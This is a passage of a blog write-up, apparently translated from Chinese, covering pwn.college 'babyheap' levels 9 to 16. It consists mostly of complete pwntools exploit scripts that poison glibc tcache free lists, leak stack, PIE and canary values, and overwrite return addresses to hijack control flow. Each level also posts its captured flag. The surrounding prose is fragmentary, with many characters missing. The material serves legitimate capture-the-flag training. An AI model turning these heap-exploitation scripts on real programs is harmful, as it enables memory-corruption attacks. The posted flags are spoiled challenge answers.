    target.sendlineafter(b"Secret: ", secret)


def quit():
    target.sendlineafter(b": ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    secret_p1 = elf.bss() + (0x16364 - 0x8)
    secret_p2 = elf.bss() + 0x16364

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret_p1))
    # raw_input("DEBUG")
    malloc(0, 0)
    malloc(0, 0)

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret_p2))
    # raw_input("DEBUG")
    malloc(0, 0)
    malloc(0, 0)

    payload = flat(0, 0)
    send_flag(payload)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{klIR9JBrG0FfOAzXz_dLAeG0C5g.01N4MDL5cTNxgzW}`]

# Level 9.1

## Information

- Category: Pwn

## Description

> Leverage TCACHE exploits to pass a validation check.

## Write-up

 [Level 9.0](#level-90)

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p32,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level9.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b": ", b"send_flag")
    target.sendlineafter(b"Secret: ", secret)


def quit():
    target.sendlineafter(b": ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    secret_p1 = elf.bss() + (0x12821 - 0x8)
    secret_p2 = elf.bss() + 0x12821

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret_p1))
    # raw_input("DEBUG")
    malloc(0, 0)
    malloc(0, 0)

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret_p2))
    # raw_input("DEBUG")
    malloc(0, 0)
    malloc(0, 0)

    payload = flat(0, 0)
    send_flag(payload)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{YpgPY9CRd5Wk4FCJ7klY0D4fwXX.0FO4MDL5cTNxgzW}`]

# Level 10.0

## Information

- Category: Pwn

## Description

> Leverage TCACHE exploits to gain control flow.

## Write-up

 `win`
 malloc  scanf  ba
labala 

使 `malloc_usable_size`  chunk s
ize canary 


## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level10.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def quit():
    target.sendlineafter(b": ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b"allocations is at: ")
    stack = int(target.recvline().strip()[:-1], 16)
    target.recvuntil(b"main is at: ")
    pie_base = int(target.recvline().strip()[:-1], 16) - 0x1AFD

    fake_chunk = stack + 0x10
    canary = stack + 0x108
    win = pie_base + 0x1A00

    target.success(f"stack: {hex(stack)}")
    target.success(f"pie_base: {hex(pie_base)}")
    target.success(f"fake_chunk: {hex(fake_chunk)}")
    target.success(f"canary: {hex(canary)}")
    target.success(f"win: {hex(win)}")

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)

    # raw_input("DEBUG")
    scanf(0, p64(canary + 1))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)
    target.recvuntil(b"Data: ")
    canary = int.from_bytes(target.recvline().strip().rjust(0x8, b"x00"), "littl
e")
    target.success(f"canary: {hex(canary)}")

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    # raw_input("DEBUG")
    scanf(0, p64(stack))
    malloc(0, 0)
    malloc(0, 0)

    # fake chunk
    payload = flat(
        0,
        0x200, # chunk size
    )
    scanf(0, payload)

    malloc(2, 0)
    malloc(3, 0)
    free(3)
    free(2)
    # raw_input("DEBUG")
    scanf(2, p64(fake_chunk))
    malloc(2, 0)
    malloc(2, 0)

    payload = flat(
        b"A" * 0xF8,
        canary,
        0,  # rbp
        win,
    )
    # raw_input("DEBUG")
    scanf(2, payload)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{0qLPdKCSvtNobMR6JycB-1ThuJM.0VO4MDL5cTNxgzW}`]

# Level 10.1

## Information

- Category: Pwn

## Description

> Leverage TCACHE exploits to gain control flow.

## Write-up

 [Level 10.0](#level-100)

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level10.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def quit():
    target.sendlineafter(b": ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b"allocations is at: ")
    stack = int(target.recvline().strip()[:-1], 16)
    target.recvuntil(b"main is at: ")
    pie_base = int(target.recvline().strip()[:-1], 16) - 0x1AFD

    fake_chunk = stack + 0x10
    canary = stack + 0x108
    win = pie_base + 0x1A00

    target.success(f"stack: {hex(stack)}")
    target.success(f"pie_base: {hex(pie_base)}")
    target.success(f"fake_chunk: {hex(fake_chunk)}")
    target.success(f"canary: {hex(canary)}")
    target.success(f"win: {hex(win)}")

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)

    # raw_input("DEBUG")
    scanf(0, p64(canary + 1))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)
    target.recvuntil(b"Data: ")
    canary = int.from_bytes(target.recvline().strip().rjust(0x8, b"x00"), "littl
e")
    target.success(f"canary: {hex(canary)}")

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    # raw_input("DEBUG")
    scanf(0, p64(stack))
    malloc(0, 0)
    malloc(0, 0)

    # fake chunk
    payload = flat(
        0,
        0x200,  # chunk size
    )
    scanf(0, payload)

    malloc(2, 0)
    malloc(3, 0)
    free(3)
    free(2)
    # raw_input("DEBUG")
    scanf(2, p64(fake_chunk))
    malloc(2, 0)
    malloc(2, 0)

    payload = flat(
        b"A" * 0xF8,
        canary,
        0,  # rbp
        win,
    )
    # raw_input("DEBUG")
    scanf(2, payload)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{IVJX2ecO9cCeTd-08IgNfDhvyxY.0FM5MDL5cTNxgzW}`]

# Level 11.0

## Information

- Category: Pwn

## Description

> Leverage TCACHE exploits to gain control flow.

## Write-up

 goal win 


echo  ptr 
 ptr 

:::important
 `scanf("%0s", buf)` `%0s` 
…… chunk 
 scanf  canary ……
:::

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level11.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def echo(idx, offset):
    target.sendlineafter(b": ", b"echo")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Offset: ", str(offset).encode())


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def quit():
    target.sendlineafter(b": ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x20)
    free(0)

    # leak stack address
    # raw_input("DEBUG")
    echo(0, 0x8)
    target.recvuntil(b"Data: ")
    stack = (
        int.from_bytes(target.recvline().strip().ljust(0x8, b"x00"), "little") +
 0x6
    )
    target.success(f"stack: {hex(stack)}")

    malloc(0, 0x20)
    malloc(1, 0x20)
    free(1)
    free(0)
    # raw_input("DEBUG")
    scanf(0, p64(stack))
    malloc(0, 0x20)
    malloc(0, 0x20)  # slot 0 store stack addr

    # leak canary (not necessary)
    # echo(0, 0x1)
    # target.recvuntil(b"Data: ")
    # canary = int.from_bytes(target.recvline()[:7].rjust(0x8, b"x00"), "little"
)
    # target.success(f"canary: {hex(canary)}")

    # leak pie
    echo(0, 0x10)
    target.recvuntil(b"Data: ")
    pie = (
        int.from_bytes(target.recvline().strip().ljust(0x8, b"x00"), "little") -
 0x214E
    )
    win = pie + 0x1B00
    target.success(f"pie: {hex(pie)}")
    target.success(f"win: {hex(win)}")

    payload = flat(
        b"A" * 0x10,
        win,
    )
    # raw_input("DEBUG")
    scanf(0, payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{UR1cj-fm89XIenUymGEuLXjbqDw.0VM5MDL5cTNxgzW}`]

# Level 11.1

## Information

- Category: Pwn

## Description

> Leverage TCACHE exploits to gain control flow.

## Write-up

 [Level 11.0](#level-110)

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level11.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def echo(idx, offset):
    target.sendlineafter(b": ", b"echo")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Offset: ", str(offset).encode())


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def quit():
    target.sendlineafter(b": ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x20)
    free(0)

    # leak stack address
    # raw_input("DEBUG")
    echo(0, 0x8)
    target.recvuntil(b"Data: ")
    stack = (
        int.from_bytes(target.recvline().strip().ljust(0x8, b"x00"), "little") +
 0x6
    )
    target.success(f"stack: {hex(stack)}")

    malloc(0, 0x20)
    malloc(1, 0x20)
    free(1)
    free(0)
    # raw_input("DEBUG")
    scanf(0, p64(stack))
    malloc(0, 0x20)
    malloc(0, 0x20)  # slot 0 store stack addr

    # leak canary (not necessary)
    # echo(0, 0x1)
    # target.recvuntil(b"Data: ")
    # canary = int.from_bytes(target.recvline()[:7].rjust(0x8, b"x00"), "little"
)
    # target.success(f"canary: {hex(canary)}")

    # leak pie
    echo(0, 0x10)
    target.recvuntil(b"Data: ")
    pie = (
        int.from_bytes(target.recvline().strip().ljust(0x8, b"x00"), "little") -
 0x1A93
    )
    win = pie + 0x1500
    target.success(f"pie: {hex(pie)}")
    target.success(f"win: {hex(win)}")

    payload = flat(
        b"A" * 0x10,
        win,
    )
    # raw_input("DEBUG")
    scanf(0, payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{IHuI-DZpMG1vv3R_3f2K4lz3jgL.0lM5MDL5cTNxgzW}`]

# Level 12.0

## Information

- Category: Pwn

## Description

> Leverage TCACHE exploits to cause malloc() to return a stack pointer.

## Write-up

~_ exp _~

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level12.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def stack_free():
    target.sendlineafter(b": ", b"stack_free")


def stack_scanf(data):
    target.sendlineafter(b": ", b"stack_scanf")
    target.sendline(data)


def stack_malloc_win():
    target.sendlineafter(b": ", b"stack_malloc_win")


def quit():
    target.sendlineafter(b": ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x20)

    payload = flat(
        b"A" * 0x30,
        0,
        0x30,
    )
    # raw_input("DEBUG")
    stack_scanf(payload)
    # raw_input("DEBUG")
    stack_free()

    free(0)
    # raw_input("DEBUG")
    puts(0)
    target.recvuntil(b"Data: ")
    stack = int.from_bytes(target.recvline().strip().ljust(0x8, b"x00"), "little
")
    target.success(f"stack: {hex(stack)}")

    malloc(0, 0x6A)
    malloc(1, 0x6A)
    free(1)
    free(0)
    # raw_input("DEBUG")
    scanf(0, p64(stack))
    malloc(0, 0x6A)
    stack_malloc_win()
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{QmZQE_PykX5z-wedw-snh6CwwtV.01M5MDL5cTNxgzW}`]

# Level 12.1

## Information

- Category: Pwn

## Description

> Leverage TCACHE exploits to cause malloc() to return a stack pointer.

## Write-up

 [Level 12.0](#level-120)

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level12.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def stack_free():
    target.sendlineafter(b": ", b"stack_free")


def stack_scanf(data):
    target.sendlineafter(b": ", b"stack_scanf")
    target.sendline(data)


def stack_malloc_win():
    target.sendlineafter(b": ", b"stack_malloc_win")


def quit():
    target.sendlineafter(b": ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x20)

    payload = flat(
        b"A" * 0x30,
        0,
        0x30,
    )
    # raw_input("DEBUG")
    stack_scanf(payload)
    # raw_input("DEBUG")
    stack_free()

    free(0)
    # raw_input("DEBUG")
    puts(0)
    target.recvuntil(b"Data: ")
    stack = int.from_bytes(target.recvline().strip().ljust(0x8, b"x00"), "little
")
    target.success(f"stack: {hex(stack)}")

    malloc(0, 0x43)
    malloc(1, 0x43)
    free(1)
    free(0)
    # raw_input("DEBUG")
    scanf(0, p64(stack))
    malloc(0, 0x43)
    stack_malloc_win()
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:sopiler[`pwn.college{wIhhQLe35f_W9wFoYZAeO6TJPGe.0FN5MDL5cTNxgzW}`]

# Level 13.0

## Information

- Category: Pwn

## Description

> Leverage calling free() on a stack pointer to read secret data.

## Write-up

~~

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level13.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b": ", b"send_flag")
    target.sendlineafter(b"Secret: ", str(secret).encode())


def stack_free():
    target.sendlineafter(b": ", b"stack_free")


def stack_scanf(data):
    target.sendlineafter(b": ", b"stack_scanf")
    target.sendline(data)


def quit():
    target.sendlineafter(b": ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b"A" * 0x30,
        0,
        0x401,
    )

    stack_scanf(payload)
    stack_free()
    # raw_input("DEBUG")
    malloc(0, 0x3F0)

    payload = flat(
        b"A" * (0xB0),
    )
    raw_input("DEBUG")
    scanf(0, payload)

    send_flag("A" * 0x10)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{Yz7oh0MVsBoSFEkrl1pl76sH5l0.0VN5MDL5cTNxgzW}`]

# Level 13.1

## Information

- Category: Pwn

## Description

> Leverage calling free() on a stack pointer to read secret data.

## Write-up

 [Level 13.0](#level-130)

~_沿
_~

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level13.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b": ", b"send_flag")
    target.sendlineafter(b"Secret: ", str(secret).encode())


def stack_free():
    target.sendlineafter(b": ", b"stack_free")


def stack_scanf(data):
    target.sendlineafter(b": ", b"stack_scanf")
    target.sendline(data)


def quit():
    target.sendlineafter(b": ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b"A" * 0x30,
        0,
        0x401,
    )

    stack_scanf(payload)
    stack_free()
    # raw_input("DEBUG")
    malloc(0, 0x3F0)

    payload = flat(
        b"A" * (0xB0),
    )
    raw_input("DEBUG")
    scanf(0, payload)

    send_flag("A" * 0x10)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{AzMm2HpvBwKXfmMU3AoN5SEUd4H.0lN5MDL5cTNxgzW}`]

# Level 14.0

## Information

- Category: Pwn

## Description

> Leverage TCACHE exploits to obtain the flag.

## Write-up

……

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level14.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def echo(idx, offset):
    target.sendlineafter(b": ", b"echo")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Offset: ", str(offset).encode())


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def stack_free():
    target.sendlineafter(b": ", b"stack_free")


def stack_scanf(data):
    target.sendlineafter(b": ", b"stack_scanf")
    target.sendline(data)


def quit():
    target.sendlineafter(b": ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b"A" * 0x30,
        0,
        0x401,
    )
    stack_scanf(payload)
    stack_free()

    malloc(0, 0x3F0)
    echo(0, 0x18)
    target.recvuntil(b"Data: ")
    pie = int.from_bytes(target.recvline().strip(), "little") - 0x22DD
    win = pie + 0x1A22

    echo(0, 0x49)
    target.recvuntil(b"Data: ")
    canary = int.from_bytes(target.recvline().strip().rjust(0x8, b"x00"), "littl
e")

    target.success(f"pie: {hex(pie)}")
    target.success(f"win: {hex(win)}")
    target.success(f"canary: {hex(canary)}")

    payload = flat(
        b"A" * 0x48,
        canary,
        0,
        win,
    )
    raw_input("DEBUG")
    scanf(0, payload)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{wQRsnVfxcvBTDBM8-XLGPXFLyGF.01N5MDL5cTNxgzW}`]

# Level 14.1

## Information

- Category: Pwn

## Description

> Leverage TCACHE exploits to obtain the flag.

## Write-up

 [Level 14.0](#level-140)

:::important
Theres a [golden meme](https://cdn.discordapp.com/attachments/750836456813101130
/1293074901070118942/8mb.video-xK2-TmDcop4s.mp4?ex=68e5ef58&is=68e49dd8&hm=cec4f
1c226f3911a933727a3d35ae974ce2491355f662a554d34fada240b9bed&), also, ask this ma
n `isspace`
:::

~_ tips  xD_~

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level14.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def echo(idx, offset):
    target.sendlineafter(b": ", b"echo")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Offset: ", str(offset).encode())


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def stack_free():
    target.sendlineafter(b": ", b"stack_free")


def stack_scanf(data):
    target.sendlineafter(b": ", b"stack_scanf")
    target.sendline(data)


def quit():
    target.sendlineafter(b": ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b"A" * 0x30,
        0,
        0x401,
    )
    stack_scanf(payload)
    stack_free()

    malloc(0, 0x3F0)
    echo(0, 0x18)
    target.recvuntil(b"Data: ")
    pie = int.from_bytes(target.recvline().strip(), "little") - 0x1B8D
    win = pie + 0x1409 + 5

    echo(0, 0x49)
    target.recvuntil(b"Data: ")
    canary = int.from_bytes(target.recvline().strip().rjust(0x8, b"x00"), "littl
e")

    target.success(f"pie: {hex(pie)}")
    target.success(f"win: {hex(win)}")
    target.success(f"canary: {hex(canary)}")

    payload = flat(
        b"A" * 0x48,
        canary,
        0,
        win,
    )
    raw_input("DEBUG")
    scanf(0, payload)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{89yuVXIylEt3d84DgpKZsDAT2ew.0FO5MDL5cTNxgzW}`]

# Level 15.0

## Information

- Category: Pwn

## Description

> Leverage TCACHE exploits to obtain the flag.

## Write-up

UAF  ban 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level15.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def echo(idx, offset):
    target.sendlineafter(b": ", b"echo")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Offset: ", str(offset).encode())


def read(idx, size):
    target.sendlineafter(b": ", b"read")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def quit():
    target.sendlineafter(b": ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0)
    echo(0, 0x28)

    target.recvuntil(b"Data: ")
    stack = int.from_bytes(target.recvline().strip(), "little")
    main_ret_addr = stack + 0x176

    echo(0, 0x50)
    target.recvuntil("Data: ")
    pie = int.from_bytes(target.recvline().strip(), "little") - 0x33F8
    win = pie + elf.sym["win"]

    target.success(f"stack: {hex(stack)}")
    target.success(f"pie: {hex(pie)}")
    target.success(f"win: {hex(win)}")

    malloc(0, 0)
    malloc(1, 0)
    malloc(2, 0)
    free(2)
    free(1)
    # raw_input("DEBUG")
    read(0, 0x1337)

    payload = flat(
        b"A" * 0x20,
        main_ret_addr,
    )
    target.sendline(payload)

    malloc(0, 0)
    # raw_input("DEBUG")
    malloc(0, 0)

    read(0, 0x1337)
    target.sendline(p64(win))
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{QyYR-Pj8vuLZgMayMcB0QHW1DKk.0VO5MDL5cTNxgzW}`]

# Level 15.1

## Information

- Category: Pwn

## Description

> Leverage TCACHE exploits to obtain the flag.

## Write-up

 [Level 15.0](#level-150)

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level15.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def echo(idx, offset):
    target.sendlineafter(b": ", b"echo")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Offset: ", str(offset).encode())


def read(idx, size):
    target.sendlineafter(b": ", b"read")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def quit():
    target.sendlineafter(b": ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0)
    echo(0, 0x28)

    target.recvuntil(b"Data: ")
    stack = int.from_bytes(target.recvline().strip(), "little")
    main_ret_addr = stack + 0x176

    raw_input("DEBUG")
    echo(0, 0x50)
    target.recvuntil("Data: ")
    pie = int.from_bytes(target.recvline().strip(), "little") - 0x2110
    win = pie + elf.sym["win"]

    target.success(f"stack: {hex(stack)}")
    target.success(f"pie: {hex(pie)}")
    target.success(f"win: {hex(win)}")

    malloc(0, 0)
    malloc(1, 0)
    malloc(2, 0)
    free(2)
    free(1)
    # raw_input("DEBUG")
    read(0, 0x1337)

    payload = flat(
        b"A" * 0x20,
        main_ret_addr,
    )
    target.sendline(payload)

    malloc(0, 0)
    # raw_input("DEBUG")
    malloc(0, 0)

    read(0, 0x1337)
    target.sendline(p64(win))
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{sqd-yJZ1_DJOrzpwErrz-Y_4Jw1.0FMwQDL5cTNxgzW}`]

# Level 16.0

## Information

- Category: Pwn

## Description

> Revisit a prior challenge, now with TCACHE safe-linking.

## Write-up

Description  challenge safe-linking  2
.32  chall 使 2.35safe-linking 
 2.42 

 safe-linking  [](/posts/pwn-notes/p
wn-trick-notes/#)

## Exploit

```python
#!/usr/bin/env python3

